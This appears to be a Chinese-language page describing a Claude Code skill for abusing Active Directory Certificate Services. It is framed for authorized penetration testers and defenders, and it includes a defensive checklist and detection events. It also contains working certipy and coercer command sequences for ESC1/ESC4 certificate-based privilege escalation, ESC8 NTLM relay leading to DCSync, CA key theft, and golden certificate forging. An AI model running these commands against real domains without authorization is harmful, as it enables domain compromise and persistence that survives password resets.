关于 abusing-adcs
面向经授权的 Active Directory 渗透测试人员与防御审查者,讲解 AD CS 配置风险及证书相关提权路径。内容涵盖枚举、利用条件、持久化影响和修复检查。
主要功能
- 01枚举易受攻击的证书模板
- 02梳理 ESC 提权与中继路径
- 03评估证书映射和绑定设置
- 04说明证书持久化风险
- 05提供 PKI 防御审查清单
适用场景
- 01检查 CA 与模板配置是否存在风险
- 02在授权测试中验证证书提权路径
- 03评估密码重置后的证书残留影响
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ trilwu/ secskills --skill abusing-adcs安装后在 Claude Code 中输入/abusing-adcs确认已加载。
详细介绍
滥用 AD CS
在 Active Directory 域中,证书颁发机构通常是从普通用户提升到域管理员的最短路径,因为证书模板是几乎没人审计的权限对象。只要有一个模板允许申请者提供自己的主题名称,就足以完全攻陷域,而这类模板在实际网络中的默认配置比应有的多得多。
仅可针对你获准测试的域。
适用场景
- 域中存在 CA(有
pKIEnrollmentService对象) certipy find或 BloodHound 报告了存在漏洞的模板- 你有任何域凭据,需要寻找权限提升路径
- 你需要一种在密码重置后仍然有效的持久化域访问方式
- 从防御角度审查 PKI 配置
不适用场景
- 常规 AD 攻击(Kerberoasting、DCSync、横向移动)——使用
attacking-active-directory - 委派滥用——使用
attacking-kerberos-delegation - Entra ID / 云 PKI——使用
attacking-entra-id - 检测这些攻击——使用
engineering-detections;证书 请求事件(4886/4887)是主要遥测数据
先进行枚举
# Certipy — the standard tool; run this before anything else
certipy find -u [email protected] -p 'Password' -dc-ip 10.0.0.10 -vulnerable -stdout
certipy find -u [email protected] -p 'Password' -dc-ip 10.0.0.10 -old-bloodhound
# From Windows
Certify.exe find /vulnerable
Certify.exe cas # CA hosts, flags, and enrollment endpoints
certipy find -vulnerable 会直接标出 ESC 编号,因此它是第一条要运行的命令。请查看输出中的以下信息:谁可以申请证书、申请者是否可以指定主题、存在哪些 EKU,以及是否需要经理审批。
权限提升路径
按错误配置类型分组,因为修复方法和检测方式各不相同。
模板错误配置——常见情况
| ID | 条件 | 结果 |
|---|---|---|
| ESC1 | 申请者可指定主题(ENROLLEE_SUPPLIES_SUBJECT)+ 客户端身份验证 EKU + 低权限用户可申请 + 无需审批 | 申请一张以任意用户身份签发的证书,包括域管理员 |
| ESC2 | 任意用途 EKU(或无 EKU)+ 低权限用户可申请 | 证书可用于客户端身份验证;效果与 ESC1 相同 |
| ESC3 | 证书请求代理 EKU | 代表其他用户申请证书 |
| ESC9 | 设置了 CT_FLAG_NO_SECURITY_EXTENSION | 证书缺少 SID 绑定,可利用弱映射进行攻击 |
| ESC15 | v1 模板允许申请者指定主题,且可注入应用程序策略 | 通过应用程序策略进行客户端身份验证,绕过 EKU 限制 |
# ESC1 — the canonical path
certipy req -u [email protected] -p 'Password' -dc-ip 10.0.0.10 \
-ca 'CORP-CA' -template 'VulnTemplate' -upn '[email protected]'
# Authenticate with the certificate and recover the NT hash
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.10
# → TGT plus the account's NT hash
访问控制错误配置
| ID | 条件 | 结果 |
|---|---|---|
| ESC4 | 你对模板对象有写入权限 | 将其重新配置为 ESC1 模板,使用后再还原 |
| ESC5 | 对 PKI 对象、CA 计算机对象或容器有写入权限 | 可造成多种影响,最高可控制 CA |
| ESC7 | 对 CA 具有 ManageCA 或 ManageCertificates 权限 | 启用 ESC6,或批准你自己的待处理请求 |
# ESC4 — make it vulnerable, use it, put it back
certipy template -u [email protected] -p 'Password' -template 'WriteableTemplate' -save-old
# ... request as in ESC1 ...
certipy template -u [email protected] -p 'Password' -template 'WriteableTemplate' -configuration WriteableTemplate.json
还原模板不是可选项。 将模板留在易受攻击的状态,会实实在在地改变客户端的安全态势;不告知对方就这么做,问题出在你,而不是对方。先使用 -save-old 保存原配置,立即还原,并记录两项操作及其时间戳。
CA 错误配置
| ID | 条件 | 结果 |
|---|---|---|
| ESC6 | CA 上设置了 EDITF_ATTRIBUTESUBJECTALTNAME2 | 任何模板都可由申请者指定主题 |
| ESC16 | 在整个 CA 范围内禁用了安全扩展 | 所有签发的证书都缺少 SID 绑定 |
# Check the CA flags
certutil -config "CA-HOST\CORP-CA" -getreg policy\EditFlags
中继路径
| ID | 条件 | 结果 |
|---|---|---|
| ESC8 | 可访问 Web 注册(/certsrv),且未绑定 EPA/HTTPS | 将 NTLM 中继到证书注册服务,为被中继的计算机获取证书 |
| ESC11 | ICertPassage RPC 未启用数据包完整性 | 通过 RPC 而不是 HTTP 进行中继 |
# ESC8: coerce authentication from a DC, relay it to web enrollment
certipy relay -ca 10.0.0.20 -template DomainController
# in another shell, coerce:
coercer coerce -u user -p 'Password' -t 10.0.0.10 -l 10.0.0.100
# or PetitPotam / printerbug
certipy auth -pfx dc01.pfx -dc-ip 10.0.0.10 # → DC machine account → DCSync
证书映射
| ID | 条件 | 结果 |
|---|---|---|
| ESC10 | 证书映射注册表值较弱 | 通过 UPN 或 altSecurityIdentities 冒充身份 |
| ESC13 | 模板关联了组的颁发策略 | 证书授予该组的成员身份 |
| ESC14 | 对 altSecurityIdentities 具有写入权限 | 将你的证书映射到目标帐户 |
强证书绑定会改变局面。 经过 2022 年 5 月的更新(KB5014754)后,域控制器可以要求证书携带 SID 安全扩展,而 StrongCertificateBindingEnforcement 决定执行严格程度。在完全强制执行的域中,ESC9、ESC10 和 Certifried(CVE-2022-26923)将不再有效,但 ESC1、ESC4、ESC6 和 ESC8 仍然有效。报告某条路径可被利用之前,请先检查强制执行级别:
reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement
# 0 = disabled, 1 = compatibility (default for a period), 2 = full enforcement
持久化
证书是 AD 中最持久的持久化方式,这正是它们在报告中值得关注的原因。
- 用户证书在其有效期内始终有效,即使密码已重置。重置被攻陷帐户的密码无法清除攻击者。
- 窃取 CA 的私钥(
THEFT2/ Golden Certificate)后,即可无限期、离线地为任何主体伪造证书。要从这种情况中恢复,必须重新颁发 PKI。 - 吊销是唯一的补救措施,而大多数环境不会及时检查 CRL,甚至完全不检查。
# Extract the CA key with local admin on the CA host (DPAPI-protected)
certipy ca -backup -u [email protected] -p 'Password' -ca 'CORP-CA'
# Forge offline
certipy forge -ca-pfx ca.pfx -upn [email protected]
报告时请明确说明:“密码重置无法补救此问题;必须吊销已颁发的证书。”这句话会改变客户端的响应计划。
防御性审查
当参与的是配置审查而非攻击时:
- 哪些模板允许申请者指定主题?谁可以申请?
- 哪些模板向
Domain Users或Authenticated Users开放客户端身份验证或 Any-Purpose EKU? - 敏感模板是否要求经理审批?
- 是否在任何位置设置了
EDITF_ATTRIBUTESUBJECTALTNAME2? - 是否开放了 Web 注册?是否通过 EPA 强制使用 HTTPS?
StrongCertificateBindingEnforcement是否处于完全强制执行状态?- 谁拥有
ManageCA和ManageCertificates权限? - 是否监控证书颁发情况(事件 4886、4887、4899、4900)?
应当驳斥的借口
- “该模板要求经理审批,所以很安全。” 检查 ESC7——持有
ManageCertificates权限的人可以审批自己的申请。 - “只有 Domain Admins 可以申请。” 查看 ACL,而不是只看组名。组会嵌套,而且
Authenticated Users出现的频率往往超出预期。 - “我们已针对 Certifried 打上补丁。” 这只能关闭一条路径。ESC1 和 ESC8 属于配置问题,无法通过打补丁解决。
- “我们重置了被攻陷帐户的密码。” 证书仍然有效。请吊销它。
- “这是内部 CA,严重性较低。” 能颁发域身份验证证书的内部 CA,相当于域管理员。
- “BloodHound 没有显示。” 使用支持证书的收集器进行收集;较早的收集结果完全不包含 ADCS 边。
- “我就不恢复模板了,这样更省事。” 不行。
ATT&CK 覆盖范围
由 secskills-core/ttp-index.json 生成——编辑该文件,然后运行
python3 scripts/sync_attack.py --write。在报告中引用 ID 前,请根据
当前 ATT&CK 版本重新核实。
凭证访问(TA0006)
- T1649 窃取或伪造身份验证证书——另请参阅
attacking-active-directory
上述内容的检测资料:engineering-detections。主动搜寻:hunting-threats。失陷后响应:responding-to-incidents。
参考资料
attacking-active-directory— 更广泛的域攻击路径attacking-kerberos-delegation— 另一类高收益 AD 提权路径engineering-detections— 证书颁发和模板更改遥测reporting-security-findings— 如何说明吊销要求- Certipy、Certify、PKIAudit、BloodHound(ADCS 边)、Coercer、PetitPotam